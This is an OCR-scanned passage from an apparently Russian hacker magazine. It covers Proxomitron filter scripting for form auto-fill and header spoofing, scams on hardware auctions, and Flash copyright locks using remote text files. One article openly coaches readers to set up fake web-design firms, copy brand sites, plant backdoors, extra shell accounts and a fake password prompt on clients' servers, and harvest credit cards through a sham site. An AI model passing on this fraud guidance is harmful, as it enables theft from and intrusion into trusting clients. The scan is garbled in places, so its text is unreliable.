никак не влияет на работоспособность, 
URL match - таргетинг на конкретный ад- 
pec, Allow for multiple matches - означа- 
ет, что таких совпадений может быть 
несколько на страницу и не стоит оста- 
навливаться после первой найденной. 
Bounds match - границы поиска, не стоит 
тут ставить * - это будет весьма солидно 
грузить тачку, а следовательно, и тормо- 
зить наш комп. Byte limit - это если было 
найдено начало границы, но никак нет 
конца (ну, забыли тег закрыть горе-де- 
зигнеры), так вот, это максимальный 
размер проверяемого кусочка, это же 
значение используется при запомина- 
нии, если стоит «*». Matching expression 
- это, собственно, то, что прокс будет ис- 
кать на страничке. Replacement text - на 
что будет заменять. Кнопочка test по- 
зволяет отдебажить наш скрипт, нажав 
на нее, в верхнее окошко вводим пример 
(я обычно ввожу просто source со стра- 
нички) и давим Ha test; если все нор- 
мально, давим done. 


Кодим в проксе 


Все, с мелкими настройками покончено, 
теперь давай погрузимся в дебри про- 
граммирования и обработки строк. Все 
правила абсолютно безразличны к реги- 
стру. Символ «*» это строка любых сим- 
волов и любой длины. Знак «?» соответ- 
ствует одному любому символу. Исполь- 
зуя скобки «[]», можно задавать перечи- 
сления символов [asdfg], можно диапа- 
зон [а-73-5], можно несоответствие [^а- 
2] = не буквы. Для чисел есть еще диапа- 
зон [#50-200], будет соответствовать 
числу от 50 до 200, а выражение [#3-*] 
значит больше трех, можно применить 
[#453], при этом не будет обращаться 
внимание на нули вначале и присут- 
ствие кавычек вокруг. Символ пробела 
позволяет выкидывать любое количе- 
ство пробелов, идущих подряд, что весь- 
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ма удобно при обработке html, при этом 
пробелов может не быть совсем. Очень 
похожа работа символа «\s», но в дан- 
ном случае должен быть хотя бы один 
пробел для соответствия. Если надо 
найти или заменить именно символ та- 
буляции, то используй «\t», аналогично 
перевод каретки «\г» и символ новой 
строки «\п». Для сравнения тегов наи- 
более подходящий символ «\w», он при- 
нимает любое количество символов (не 
пробелов или табуляций) и перестает 
искать, как только находит пробел или 
СИМВОЛ «>». 


Есть также и переменные(\0,\1...\9), ко- 
торые можно брать во время поиска и 
подставлять после поиска. Все перемен- 
ные существуют локально, то есть для 
каждой правила свои. Например, если 
надо поменять значение всех картинок, 
то можно проделать следующее: нужно 
менять «< img \1 src=* \2 >» на «<img \1 
src=mypicture.gif \2 >» - таким образом у 
нас сохранятся все остальные параметры 
и поменяется только сама картинка. В 
переменную можно также поместить 
конкретное найденное слово, используя 
скобки: (asd\w )\1 - поместит слово, на- 
чинающееся Ha asd. Имеются также и ло- 
гические операции, например, для поис- 
ка тега iframe или layout можно написать 
iframe|layout, то есть «|» это логическое 
«или». Для поиска «ору disk или disk 
ору» лучше использовать оператор & 
(логическое «и»), у нас получится 
disk&flopy, но это не будет соответство- 
вать только одному из слов. Для поиска 
слов door и doom можно использовать 
круглые скобки doo(r|m), такое выраже- 
ние найдет оба слова. Для поиска повто- 
ряющихся символов используй «+», то 
есть, чтобы заменить все doom, 400000- 
от и dom на dem, нужно менять «4о+т» 
на «dem». Единственная проблема: если 
искать r+root, то прокс ничего не найдет, 
так как первый символ «г» из рута съест 
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поиск. Для того чтобы он нашел, надо 
использовать ++, то есть r++root, и прокс 
все сделает правильно. Кавычки будут 
соответствовать и одинарным, и двой- 
ным кавычкам. 


Есть также метасимволы, которые ничего 
не ищут, а просто производят действие. 
Так, например, \К убивает соединение, 
что полезно при фильтрации страниц. 
Символ «\и» - вставляет весь URL, \h - 
только имя хоста, \р - только путь, \а 
вставляет имя внутренней ссылки (якоря, 
то что идет в адресе после #), \d подста- 
вляет file://KaTanor, _где_стоит_проксо- 
метрон, удобно использовать для подме- 
ны картинок или файлов локальными. 
Помимо метасимволов, в последних вер- 
сиях появились команды, они все начи- 
наются с бакса. $AV - ищет значение, не 
смотря на кавычки, так <img 
src=($av(\0))\1>, теперь в \0 лежит ад- 
рес картинки, а в \1 лежит адрес в кавы- 
чках (если они были). Если надо сохра- 
нить только выражение с кавычками, то 
лучше использовать $avq(\0). Для срав- 
нения с условием, которое хранится в 
файле, достаточно написать $lst(filena- 
те), это как команда #include в сях или 
флеше. Следующая команда это $nest, он 


позволяет искать среди тегов, так 
$nest(<body>,\0,</body>) запомнит все, 
что находится внутри тегов, в перемен- 
ную «\0». Командой $set можно прину- 
дительно прописать переменную 
$set(O=home) или переназначить одной 
переменной другую $set(O=\1). Команда 
$stop() - остановит весь последующий 
поиск. Вот, собственно, и все, чем я ре- 
ально пользовался, остальное можно 
найти в хелпе к проге. 


Входящий мусор 


Давай теперь попробуем рубануть тег с 
картинкой 468 на 60. Для этого вписыва- 
ем в параметры поиска «< 1тд * 
width=$av(468) * height=$av(60) >». Пи- 
ши именно так, с пробелами, все дело в 
том, что один пробел соответствует нес- 
кольким пробелам или ни одному пробе- 
лу, так что вреда от него не будет, но в 
случае присутствия пробелов в тегах он 
тебя спасет. Менять будем на <по img>, 
вот так все просто, так как по стандарту, 
если браузер не знает тега, то он ничего 
не должен делать, это сделано для сов- 
местимости разных версий браузеров. 
Резать по урлу еще проще, нужно только 
поменять $тс=... на локальный файл или 
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аналогично предыдущему. Но помни, 
если ты меняешь на пустоту, то есть веро- 
ятность, что у тебя собьется дизайн сай- 
тика. Хотя, если честно, для отреза ре- 
кламы в проксе достаточно предустано- 
вленных скриптов, нужно только их 
ВКЛЮЧИТЬ. 


Исходящий мусор 


Вот тут можно на славу поиздеваться над 
админами и создателями хитроумных 
скриптов на сайтах, потому как большая 
часть их просто скидывает в лог-файл все 
то, что у тебя прописано по умолчанию в 
твоем браузере. Давай для начала сме- 
ним ему имя, для этого можно воспользо- 
ваться стандартным, установленным 
фильтром, который называется «User-ag- 
еп{: чего-то-там»; вот вместо «чего-то- 
там» и вписывай то, что тебе больше по 
душе. Можешь написать там ТЕ, можешь 
написать нетшкаф, дело твое, по умолча- 
нию предыдущая версия проксомитрона 
вписывала туда «Space-bison», что в 
принципе тоже выход. Только не забывай, 
что если ты там напишешь что-нибудь 
«эдакое», то тебя будут везде и всюду уз- 
навать, поскольку ты будешь единствен- 
ным челом на всю планету с таким брау- 
зером, так что, убегая от анонимности, не 
стоит ходить в бронежилете и в шубе ле- 
том. 


Все, имя мы поменяли, теперь давай пе- 
рестанем передавать ссылки, то есть 
когда ты кликаешь по ссылке и перехо- 
дишь на другой сайт, на тот сайт отпра- 
вляется строчка «referer», где и написа- 
но, откуда именно ты пришел. Для того 
чтобы никто не знал, откуда ты только 
что прилетел, достаточно туда вставлять 
пустоту, а если хочешь немного поднять 
посещаемость на своей домашней стра- 
ничке, то можешь вписать ее туда. Пом- 
ни, что на некоторых сайтах строка refe- 
гег является как бы заменой пароля, это, 
конечно, не правильно, и ее легко под- 
делать, но многие записнушки и чатники 
этим пользуются. Кстати, если подме- 
нять эту строку, то все баннеры, которые 
ты увидишь, не зачислят показов на счет 
автора сайта, так как баннерные службы 
тоже следят за строкой referer. Тут же 
находится и наш с тобой список алиасов 
к сайтам, так что не стоит отрубать все, 
если что-нибудь не так работает, как те- 
бе надо. 


Халява! 


Теперь давай поговорим о не совсем стан- 
дартном использовании проксы, мы бу- 
дем использовать его для заказа халявы. 
Поверь, даже ко мне в Тмутаракань приле- 
тает халява, не все, конечно, но процен- 
тов 15 долетает в целости и сохранности. 
Давай разберем один из листингов, что 
нам надо делать и как. Во-первых, нам на- 
до найти сайт с халявой, я не буду писать 
никакие адреса, потрудись, поищи сам, не 
забывай про яндекс. Нашел? Молодец, те- 
перь берем форму, которую нам надо за- 
полнить, и мы увидим на ней «First Мате», 
что есть наше имя. Открывай сырец, мо- 
жешь скатать все, но пригодится только та 
часть, которая стоит между <form...> и 
</form>. Открой свой прокс, заходи в Web 
радез, мы будем вписывать имя прямо в 
форму, а не при посылке, для того чтобы 
можно было контролировать процесс и, 
если что, дописать или переписать наш 
скрипт. Теперь создавай новый фильтр, 
советую начало имени фильтрам давать 
одинаковые, например, «xalyava_Fname», 
так их будет легче отыскать в списке. Не 
начинай с Bounds match, ускорением и 
шлифовкой займешься в самом конце, 
сначала движок. В match expression впи- 
ши «<input * name=$AV(*first*)», в repla- 
cement вписываем value=»Vasya pupkin» 
и жмем test. В верхнее окошко вписывай 
исходник с халявной странички (пока до- 
статочно вписать ту строку, где написано 
что-то вроде «<input type=text па- 
me=«FirstName»>», поищи, должно быть 
обязательно. Дави тест, и мы видим, что 
он просто заменил строку целиком - вме- 
сто вписывания твоего имени. 


Для того чтобы он сохранил старое, нуж- 
но это где-нибудь запомнить. Поэтому 
добавим переменных, чтобы получилась 
следующая строка поиска «( < input * 
name = $AV(*first*) * )\1 >», а внизу \1 
value=»VasyaPupkin»>. Если ты сделал 
все по рецепту, то все должно работать, 
и не забывай про пробелы, вставляй их 
везде и всюду, лишними они не могут 
быть. Давай теперь разберемся, как это 
работает. Сначала прокс ищет треуголку 
«<», потом слово input, потом параметр 
name, равный чему-то-Ят5{-чему-то, и 
если это найдено, при условии, что в 
этой же строке есть закрывающая треу- 
голка, записывает все в переменную 1. 
Затем вписывает все, что запомнил, кро- 
Me закрывашки, добавляем наше имя 
(value=...) и закрываем тег вручную, по- 
скольку закрывашку мы не сохраняли в 
памяти. Теперь давай немного передела- 
ем фильтр, используя границы, что уско- 
рит его работу. Для этого в границах на- 
до поместить «< input * >», то есть будем 
искать только в этом теге, тогда в поиске 
останется «( * name = $AV(*first*) * )\1 
>», длину границ можешь поставить 
1024, этого сполна хватит на одну стро- 
ку. Жми ОК, включай свой фильтр (уста- 
нови галочку), жми Apply, и если не вы- 
скочили ошибки, жми ОК. 


Нажав на зеленую дискетку, можешь сох- 
ранить свой скрипт на диск, в файл загру- 
жаемый по умолчанию. Все, теперь ты 
знаешь, как подставить имя, также можно 
подставить фамилию, адрес и прочую 
ерунду. При боевых испытаниях ты уви- 
дишь, что вся форма за тебя уже заполне- 
на и тебе остается только согласиться. 
Проверить работу скрипта можно нажав 
на «Log window», в окне пурпурным цве- 
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том будет что-то вроде «Match 556: xalya- 
va_Fname», что значит - «ваше правило 
556 сработало». Не забывай, что иногда 
имя называют просто «name» или «Fna- 
те». Для простоты создания похожих 
фильтров используй кнопочку «dupe», ко- 
торая копирует выделенный скрипт и да- 
ет тебе его отредактировать. Лично я 
всегда считал, что лучше день потерять, 
зато потом за пять минут долететь, так что 
если ты хочешь автоматизировать что-то 
с вебом, это лучший и, как ни странно, 


Prelerence Settings 


бесплатный способ сделать это. Главное - 
не забудь отключить все эти автозаполне- 
ния, когда будешь ходить по порносайтам, 
а то много чего им интересного сооб- 
щишь. Все, удачной тебе настройки и изу- 
чения скриптов, а я пойду закажу пару 
десятков дисков, пора менять обои на 
стенах. 
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чудеса на интернет-аукционах 


Demetras (da2001@bk.ru) 


Хая, дорогие, богатые и жадные до денег читатели! 
Сегодня побазарим 0 том, как сэкономить баблосы (именно 
сэкономить, а не про... KXM - ну ты понял), покупая себе 


новую железяк. Другими словами, я расскажу о том, что это 


такое, как кидают народ на этих аукционах И, 
соответственно, как от этого защититься. 


Что есть интернет-аукцион? 
Система проста до безобразия. Сначала ре- 
гистрация в системе; зарегистрировавшись, 
получаешь логин и пароль и, прилогинив- 
шись к системе, можешь делать свои ставки 
и выставлять свои товары (в меню по кате- 
гориям). У каждого отдельного аукциона 
есть свои собственные фичи и правила. И 
также совершенно на любом аукционе ки- 
дают и покупателей, и продавцов. Сейчас 
мы, не спеша и подробно, расковыряем всю 
эту бодягу с целью избежать приколов, по- 
купая/продавая железо на таком аукционе. 


Покупаем! 


Итак какой-то хрен продает как раз ту же- 
лезку, которую ты так долго искал, еще вро- 
де бы и дешево, хочется купить... «Ну и где 
меня тут могут кинуть?» - спросишь ты. А 
везде ;))). Любой аукцион работает таким 
образом: товар выставляется на продажу 
на определенное время - от 3 дней до 1 ме- 
сяца, и, следовательно, побеждает в торгах 
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последний сделавший ставку. Чтобы не 
дать победить на торгах вон тому хмырю, 
который уже неделю бьет все ставки, дела- 
ем так: не будем выкидывать кучу баблосов 
на попытки отвадить его от железки, а тихо 
уходим в подполье (типа забили) и про- 
сто... ждем окончания аукциона. Вернее, 
ждем последних минут и в последнюю ми- 
нуту делаем свою ставку. Все, товарисч 
идет гулять, а ты получаешь координаты 
продавца и идешь за покупкой. 

И это все? Не-е-ет ;), стрижка только нача- 
та! Теперь, в зависимости от количества бу- 
казоидов, взятых тобой, собирай толпу ор- 
битов с ксилитами и диролами, трех человек 
(кроме тебя) средней комплекции должно 
хватить. Без орбитов не обойтись, так как 
одно из самых распространенных прокиды- 
ваний состоит в том, что покупателю просто 
дают по башке и забирают все, что есть. Ко- 
нечно, это касается дорогих покупок, а если 
ты покупаешь ленту для своего матричного 
принтера, можешь смело идти один :). 
Встречаться лучше в людном месте, имхо, 
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больше всего подходит метро. Там всегда Te- 
пло, много народу и мухи не кусают :). 

Если ты покупаешь то, исправность чего на 
глазок определить нельзя, обязательно тре- 
буй манибек, дня на три, и паспорт продав- 
ца (переписываем все от А до Я). Если де- 
вайс ктому же еще и дорогой, берем распи- 
ску, иначе если он окажется битым - при- 
дется привлекать все того же орбита с ди- 
ролом, а это не есть гуд, и по закону ничего 
ему (продавцу) не предъявишь. 

Если сам не хочешь надурить продавца, тре- 
буй, чтоб он переписал при тебе серийник 
девайса, чтобы в случае чего не было гни- 
лых отмазок, что ты, мол, железку подменил. 
Также очень распространенный способ про- 
кидывания заключается в том, что вместо об- 
ещанной железки тебе приносят похожую, 
но в -дцать раз дешевле. Поэтому перед по- 
купкой обязательно надо со всех сторон ис- 
следовать покупаемый девайс. Сначала дома 
полазить по Инету на предмет внешнего ви- 
да, модели и возможных багов данной же- 
лезки, потом уже на месте (при покупке) вни- 
мательно осмотреть, обнюхать (это не прикол 
- если железка участвовала в какой-нибудь 
локальной катастрофе компа или, к примеру, 
сама не в меру греется при работе, от нее бу- 
дет фанять, и, соответственно, есть большая 
вероятность, что она будет безбожно ба- 
жить), ну и попробовать на зуб (шутка). 

Еще надо обращать внимание на то, у кого 
ты покупаешь. Если это будут два волоса- 
тых хмыря, от которых несет перегаром, и 
по всем признакам видно, что через полча- 
са они будут, ужравшись, валяться под ка- 
ким-нибудь забором, то в любом случае де- 
ньги свои ты уже не увидишь. А железка 
может оказаться ворованной, так что если 
через несколько дней к тебе приедет наряд 
в соответствующем прикиде и с автомата- 
ми, удивляться будет нечему. В лучшем слу- 
чае заберут девайс, в худшем могут и поса- 
дить (сознательная скупка краденного - 
уголовно наказуема). 

Покупать на аукционе целый комп - это во- 
обще экзотика даже для извращенцев. Это 
я почувствовал на своей шкуре, когда ку- 
пленный писюк после 20 минут работы 
3.14zHyn так, что полетели искры и пошел 
дым. После разбора полетов выяснилось, 
что умники, продавшие комп, восстанавли- 
вали порезанные контакты на видюхе, ку- 
сок контакта оторвался и коротнул шину 
(ой, ой, ой - кто-то недавно сам призывал 
восстанавливать контакты и продавать - 
прим. ред.). В результате чего просто-на- 
просто взорвалась микруха контроллера. С 
этим компом все обошлось, и черти, про- 
давшие его (видать, на тот момент совесть 


они еще не совсем пропили), просто поме- 
няли мать, а могло быть все по-другому. 
Последнее и самое сложное: ситуация, когда 
хочется сразу (при покупке) посмотреть де- 
вайс в действии, ситуация одинаково слож- 
ная как для продавцов, так и для покупате- 
лей, так как надо идти к кому-то (неизвестно 
кому) на хату или везти к себе. Если девайс 
не слишком большой, можно с чистой совес- 
тью везти к себе и встречать в компании ди- 
ролов и орбитов (всякое бывает), а если же- 
лезка типа 19» монитора, то придется ехать 
все с теми же друзьями-диролами. Причем 
надо все рассчитать так, чтоб у «продавца» 
не возникло ни возможности, ни желания 
дать по башке покупателю. 


Продаем! 


Так, теперь будем продавать. С продажей, 
конечно, попроще, но в этом тоже есть свои 
приколы. 

При выставлении девайса на аукцион на 
экран вылезет нехилое меню, в котором ты 
должен выбрать, для какого города аук- 
цион, готов ли ты слать свою железку в ка- 
кое-нибудь Ново-Гребенево ит.д., но самой 
западлючной опцией является указание 
блиц-цены, то есть той цены, за которую то- 
вар можно купить мгновенно. Например, ты 
захотел загнать свою старую видюху и вы- 
ставил ее на аукцион за гроши, практически 
за пыво, а на аукционе уже есть несколько 
таких видюх, причем выставленных за 
большее количество буказоидов. Есте- 
ственно, тот, кто их выставил, просто возь- 
мет и «купит» твою по блиц-цене. Есте- 
ственно, в реале он у тебя ее не возьмет 
(конкуренция батенька), так что блиц-цену 
никогда не ставь. Ну и соответственно, ты 
как продавец должен тщательно косить от 
всего вышенаписанного и делать все с точ- 
ностью наоборот, ведь аукцион это такая 
хитрая штука, где единственное правило 
это «не нагребешь - не проживешь», так что 
стоит быть внимательнее ;). 


З.Ы. 


Такие вещи, как винт и память, лучше вооб- 
ще не покупать на аукционах, а купить в 
нормальной фирме с гарантией, так как их 
баги могут вылезти далеко не сразу. А с 
винтами вообще мрак, достаточно опытный 
хрюндель способен надурить с этим делом 
даже хороший сервис-центр, поэтому если 
ты не гуру в этом вопросе - даже не думай. 
С мониторами мрак еще гуще, так как часто 
бывает, что в мониторе села труба, а перец 
просто взял и покрутил строчник, повысив 
на ней напряжение, такой монитор прора- 
ботает от силы полгода, после чего уйдет 
практически на свалку. А если это ктому же 
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(самое меньшее), 

сам понимаешь, настроение у тебя будет 
хреновое очень долго. Если это сидюк или 
блок питания, то уже дома стоит его акку- 
ратно открыть и обсмотреть на предмет ре- 
монта. Криво отремонтированный бп может 
спалить весь комп, а в сидюках достаточно 
часто вылетают механика и микросхема, ра- 
скручивающая моторчик, раскручивающий 
диск (о как загнул!). После ремонта оно, 
конечно, работает, но не так долго, как хо- 
телось бы ;\. Еще раньше встречались 


AO завешинея торгое осталось Ш дней 0 часов 
54 минуты , 


умельцы, которые редактировали биос на 
видюхе и за несколько минут превращали 
дешевую тнт ванту в дорогую ультру, или 
занижающие частоты бракованной видюхи 
для того, чтобы она перестала глючить. Как 
сейчас с этим обстоит дело, я без понятия, 
поэтому надо быть повнимательней. Вооб- 
ще, помни, что большая (если не большая) 
часть продаваемого на аукционах железа 
либо ремонтированная и бажная, либо про- 
сто ворованная. Надо ли это тебе вообще - 
решай сам. 
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XppimZ (hrimz@xyligan.ru) 


Привет! Итак на повестке (в военкомат звать не буду, так 
что не парься :)) дня у Hac веб-обман. Будем надувать 
честной народ пачками, нарушать авторские права и иметь 
неправомерный доступ к чужым компьютерным ресурсам - 
так, для разминки :). 


Сейчас, если тебе лень ваять свою пагу 
И ТЫ обладаешь некоторым количе- 
ством бабла, то можешь возложить всю 
черную работу на чужие плечи, с тебя 
же требуется только плата и контент. 
Любой уважающий себя хостинг пред- 
лагает услуги дизайна и разработку 
веб-проекта. Качество их работ чаще 
всего оставляет желать лучшего, и тог- 
да, может быть, стоить посмотреть в 
сторону частных дизинг-контор (госу- 
дарственных пока не видел :). Выбор 
просто огромен, и все вроде бы выгля- 
дит солидно: привлекательное офор- 
мление сайта, домен первого уровня, 
недорогие цены и полная гарантия 
всего, чего только можно. Как ты, MO- 
жет быть, догадался, здесь тоже не все 
бывает чисто. Даже если бренд изве- 
стен. Вот 06 этих случаях мы и NOTOBO- 
рим. 


Как попасть 


Да очень просто. После изучения ли- 
стинга, который тебе выплюнул пои- 
сковик, ты выбираешь наугад одну из 
неизвестных или известных контор, 
бредешь на главную пагу. Далее изуча- 
ешь тарифы, договариваешься и т.д. С 
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тобой вежливы, обходительны, предла- 
гают, кроме создания сайта, еще и за- 
няться его обслуживанием, то есть про- 
сят полный доступ к хостингу и всю ин- 
фу о домене (если таковой оплачен). 
Подумав, ты соглашаешься, да даже в 
случае отказа все равно попадаешь. 06 
обмане ты, может быть, даже и не узна- 
ешь либо не будешь знать до закрытия 
конторы и заметания всех следов :). А 
все дело в том, что твои бравые дизай- 
неры, помимо всякой графики, страни- 
чек и скриптов, еще установили свое 
дополнительное программное обеспе- 
чение, так сказать :). Что им не мешает 
положить переборщик паролей, утили- 
ты для 000$ или просто проводить 
сложные математические расчеты за 
счет твоего бабла за хостинг. Или, в 
случае установки сервака у себя дома 
или на работе, создать дополнитель- 
ную учетную запись и юзать шелл, ког- 
да вздумается. После заливки файла к 
тебе можно закачать перловый скрипт, 
который выводит сначала «левое» при- 
глашение для ввода пароля, а затем 
уже реальное. Но тебе от этого не лег- 
че, ведь заветный пассворд уже в руках 
у злобных хакеров. В общем, вариантов 
может быть просто уйма. 
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Как это делается 


Теперь рассмотрим теоретическую часть 
«Курса молодого кидалова» :). Собирай 
друганов, ваяйте сайт достойный, зали- 
вайте на хостинг, выбирайте звучный 
домен (можно даже бесплатный третье- 
го уровня) и в бой. Делайте рекламу на 
различных порталах, занимайтесь спа- 
мом, примеры работ для солидности мо- 
жете спереть у любых других «дизайне- 
ров» :). Вообще-то, раскруткой не злоу- 
потребляйте, а если лень заниматься 
рекламой, можно вообще поступить 
грязнее и легче. Выбираешь раскручен- 
ный бренд и полностью сдираешь ди- 
зайн, только заливаешь на свою пагу и 
прописываешь свои мейл-адреса. Не 
советую региться в домене .TU, так как, 
в случае чего, до тебя будет легче доко- 
паться. Лучше выбери неприметную 
компанию по продаже забугорных до- 
менов. Короче, надо полностью дей- 
ствовать от их лица и не особо этим 
афишировать и светиться. Рано или 
поздно к вам начнут падать письма с за- 
казами. Добросовестно все выполняем 
и радуем заказчика, так как он всегда 
прав :). Далее следует главная часть 
нае... обмана ;). Можешь вставлять в 
скрипты любую нужную тебе мурню, 
скрытые баннеры, счетчики, да хоть ис- 
кусственный интеллект :). Чаще всего 
заказчик - это не шарящий в компах дя- 
дька с баблом, которому нужно краси- 
вое представительство своей компании 
в сети. Короче, мути все, что хочешь, и 
наслаждайся халявой, хотя нет, тебе 
ведь за это еще и платить будут :). Кста- 
ти, об оплате. Юзай какую-нибудь из си- 
стем электронных платежей - удобно и 
достаточно анонимно. 0 том, что это за 
зверь, - читай прошлый номер Спеца. 


Только дизайн? 


Нет. Такую хрень можно замутить прак- 
тически слюбым видом услуг, где для ее 
исполнения тебе что-то предоставляет- 
ся от заказчика. Например, старый, как 
Аттда, вариант. Клепаешь порносайт 
или онлайн-шоп с кредитной оплатой. И 
после каждой покупки у тебя пополня- 
ется список пластика (кредиток то есть) 
со всей инфой о владельце. Вариант с 
порносайтом куда лучше онлайн-мага- 
зина, так как ведь не собираешься нику- 
да ничего высылать их товаров, а вот 
порнухи нарыть в нете и к себе залить - 
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Судить - чисты они или нет, не берусь... 


дело скорости подключения. В общем, напрягай репу, и все 
должно само придуматься :). Ведь именно так поступают все 
профессиональные хакеры. 


Грязная совесть 


Все эти махинации редко оставляют совесть чистой, но все 
же бывают приятные исключения :). Многие просто юзают 
это временно, а потом сворачиваются, некоторые используют 
это для взлома конкретной системы или просто из ненависти 
ко всему рунету или злобной мести Темке Лебедеву :). Есть 
же чуваки, которые уже занимаются этим больше года и пока 
никаких недовольств со стороны юзеров не ощущают. То есть 
не обязательно надувать каждого клиента, можно ведь и вы- 
борочно :). Обычная законная работа, просто с «небольши- 
ми» махинациями, а кто сейчас без этого? С другой стороны, 
юзать весь этот стафф против хорошего народа просто дол- 
жно быть противно, а у каждого хакера должна быть этика 
(хотя? :). Не буду продолжать читать тебе лекцию про совесть 
- сам со своей разберешься. Я же просто даю инфу к размы- 
шлению. 


Аутро 


Вот и все, что я хотел тебе поведать об общих принципах ра- 
зводки пользователей сторонними мастерами добрых дел. 
Мой тебе совет, если не хочешь попасть, - делай пагу соб- 
ственноручно, да и опыту наберешься, а уж если сам решил 
этим заняться, то подходи к делу со всей серьезностью, и 


главным твоим правилом должна стать анонимность. Удачи! _ ВСЕ ЭТИ ФИШКИ ТЫ МОЖЕШЬ ЗАКАЗАТЬ 
ыы НА НАШЕМ САЙТЕ МЛАЛМ ХАКЕР. ВО, 
ИЛИ ПО ТЕЛЕФОНУ: (095) 928-0360, (095) 928-6089 
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Мы, флешеры, очень несчастливые люди. Mano того, что у 
нас прут идеи для мультиков, так у нас еще прут и сами 
мультики, и даже их отдельные куски. 


аши проблемы просто не поддаются описанию. 


защищаем авторские Flash'ku 


Человек-Утюг (1 


onman@wi 


Так что лучше я расскажу о них Ha своем при- 
мере и примере моих хороших друзей. С нами 
за последние полгода произошли следующие 
нехорошие вещи. 


1. Здорово нарисованный мультик на тему пе- 
реписи населения был выложен на одном из 
сайтов моих друзей, чтобы повысить посещае- 
мость. Для этого линка на пагу с флешкой и 
счетчиком была выложена в конфе "Авто- 
Юмор", откуда немедленно потекли посетите- 
ли. Но какой-то хитропопый чел через пару 
дней запостил в эту же конфу (а заодно и в па- 
ру похожих) линку на наш же мульт, но выло- 
женный на СВОЕМ сайте. В итоге куча народу 
начала крутить счетчик ему, а мы остались с 
носом. Вернее, с теми двенадцатью посетите- 
лями, которые кликнули по логотипу студии в 
конце мульта и отправились к нам на сайт. На- 
казать чувака так и не смогли. 

2. Задизайненное одним из моих корешей ме- 
ню для домашней страницы с офигенными 
эффектами и, тем не менее, малым весом бы- 
ло сперто и использовано на пяти (!) сайтах 
без изменений. А все потому, что он не пропи- 
сал глобальные ссылки на кнопках и доволь- 
ствовался локальными (типа ./index.html). 

3. Одна из моих авторских открыток ко дню 
святого Валентина опять же была нахально 
декомпилирована, копирайты потерты, а саун- 
дтрек заменен. И все это через три дня после 
первого появления мульта в сети. 


Короче, воруют по-черному, как ты понял :(. И 
если ты можешь замастырить крутейший 
мульт или заставку, или хотя бы менюху - ты 
должен уметь и защитить их от мерзких плаги- 
аторов и любителей погреться за чужой счет. 
Декомпиляторами мы заниматься не будем, а 
вот от плагиаторов уворачиваться научимся. 


ЗАЩИТА ПРОСТЕЙШАЯ, ЛОКАЛЬНАЯ 


Для того, чтобы воспретить просмотр твоей 
флешки не с твоего сайта, надо ее как-то к не- 
му привязать. Самый очевидный способ это 
сделать - заюзать небольшой текстовичок, ле- 
жащий втой же директории, что и флешки. Oc- 
новная идея метода в том, что мульт в нужном 
кадре стопится, а затем проверяется некое ус- 
ловие. Условие это обычно выглядит как "пе- 
ременная=1", где переменная за шаг до этого 
подгружается из злополучного текстовика. И 
если условие не соблюдено (а если текстовика 
нет, то и соблюстись оно не может в принци- 
пе), он просто говорит gotoandplay на кадр 
раньше. Метод этот обладает стопроцентной 
надежностью, так как мульт не будет просмат- 
риваться дальше злополучного кадра, даже ес- 
ли нажать смесь батонов Ctrl-Right (юзер, од- 
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нако, умный пошел :)). А все потому, что мы 
еще и подстраховались концом очередной 
сцены. В коде это выглядит примерно так: 


В клипе с проверкой: 


опСИрЕуеп{ (load) { 
loadVariables("copyright.txt", this) 
} 


В файле copyright.txt: 
nesperli=1 


В предпоследнем кадре (у меня он стоит под HO- 
мером 175): 


stop; 


В эшенсах кнопки "Далее" (или как она там y Te- 
бя называется): 


play; 


В последнем заподлянском кадре (с номером 
176): 


if (this.nesperli=1) { 
gotoandplay("Scene 2",1) 
yelse{ 

gotoandplay(175) 

} 


Вот тебе и весь геморрой :). В моем случае 
после окончания заставки мульт останавли- 
вается до нажатия кнопки "Поехали!". Но 
если файла рядом нет - нажимай, не нажи- 
май - дальше мульт не двинется :). Советую 


Корень зла живет здесь :) 


запомнить костяк кода (там, где подгружа- 
ется переменная), ибо нам он еще не раз 
пригодится. 


ЗАЩИТА ГЛОБАЛЬНАЯ, ЗАПОДЛЯСКАЯ 


Теперь попробуем модифицировать защиту 
для мультов, просмотр которых стоит огра- 
ничить. Так, например, Квер (я думаю, ты 
помнишь его по статье folder.htt в прошлом 
номере) в одном из своих дебютных муль- 
тов обстебал одного нашего одногруппни- 
ка. Мульт был выложен на моей хоумпаге, 
паге дружественного нам проекта RealKlya 
и неофициальном сайте институтской груп- 
пы. Посмотрели его все, за исключением 
жертвы, которая, как водится, узнала обо 
всем последней :). Так вот, эта самая не- 
винная жертва (Гриня, не обижайся) реши- 
ла-таки посмотреть мульт. Но сделать ей 
этого не удалось :). Впрочем, не удалось это 
сделать больше никому. И вот почему. 


В мульт изначально был заложен тот же меха- 
низм защиты, но вот незадача - ссылка на 
файл была прописана глобальная. Таким об- 
разом, подкорректировав файл, выложенный 
на RealKlya, я ограничил доступ ко ВСЕМ копи- 
ям Кверова мультика :). По-моему, очень 
удобно, если ты решишь вдруг взять свои сло- 
ва назад. Или полюбоваться валяющимся в 
ногах Гриней, выспрашивающим, как же все- 
таки посмотреть злобную флешку. 

Теперь код. Чисто технически все остается по- 
прежнему, меняется только одна строка: 


loadVariables("http://realklya.nm.ru/ 
greenya/copyright.txt", this) 
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МУЛЬТИНИ ПОД ЗАМНОМ 


Made by топ МАН (€hel-@atuugh) 


Кстати, совсем недавно нашлось новое приме- 
нение этому методу. После рисования одного 
порнушного мультика про сокурсников я ре- 
шил сделать разные варианты концовок - поп- 
риличнее и попошлее :). Сначала мульт, выло- 
женный, как всегда, во многих местах и расп- 
ространяющийся еще и на дискетах, был пока- 
зан всем подряд, кроме героев моей скромной 
порнушки. А уже потом, когда весть о новой 
славе докатилась и до них, я удалил файлик, и 
новоиспеченные порнозвезды не увидели ни- 
чего страшного :). Вот так можно цивилизо- 
ванным путем избежать кровопролития и 
страшной мести :). Для этого в код нужно 
внести такие изменения: 


If (1015.пага 


Так мы просто программируем ветвление, за- 
висящее только от файла. Можно расширить 
нашу степень влияния на сюжет, если сделать 
ветвление многогранным (я вот измерял сте- 
пень хардкора в двоичной системе, а можно 
было бы и в десятичной :)). То есть опериро- 
вать не удалением файла, а изменением значе- 
ния переменной. Подумай над этим на досуге. 


Но просто прятать мультик от плагиаторов - 
это мелочь. Высший пилотаж заключается в 
том, чтобы заставить ИХ работать на ТЕБЯ :). 
Поэтому предлагаю тебе интересный и интел- 
лектуальный метод не упустить своих посети- 
телей и поднять популярность своего ресурса. 
Я уверен, что во все сотворенные тобой муль- 
ты ты неизменно пихаешь свой копирайт. 
Ежику понятно, что сам он небольшой (дабы 
не мозолить глаза смотрящего) и расположен 
